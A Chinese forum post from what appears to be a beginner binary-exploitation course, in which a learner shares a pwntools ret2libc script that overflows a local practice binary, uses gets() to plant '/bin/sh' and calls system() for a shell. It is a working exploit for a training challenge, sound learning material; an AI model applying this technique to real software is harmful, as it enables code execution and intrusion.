首页
社区
课程
招聘
经过两个小时的调试。。我终于找到了不需要 pop ;ret的方法,少了个局限性。

提问者:
hack_xolin 2021-4-11
经过两个小时的调试。。我终于找到了不需要 pop ;ret的方法,少了个局限性。
EXP如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from  pwn  import  *
 
context.log_level  =  "debug"
=  process("./ret2libc2_last")
=  ELF("./ret2libc2_last")
 
systemAddr  =  e.symbols["system"]
getsAddr  =  e.plt["gets"]
offset  =  112
binAddr  =  0x804b000  -  0x10
 
payload  =  offset  *  "A"  +  p32(getsAddr)  +  p32(systemAddr)  +  p32(binAddr)  +  p32(binAddr)
pause()
p.sendlineafter("What  do  you  think  ?",  payload)
 
p.sendline("/bin/sh\x00")
p.interactive()
收藏
0条回答
零基础入门pwn
  参与学习     1802 人
  提问次数     36 个
《零基础入门pwn》,短时间内踏入漏洞利用的大门,快速成为一名合格的pwn题选手
我的问答 领取收益
0
我的提问
0
我的回答
0
学习收益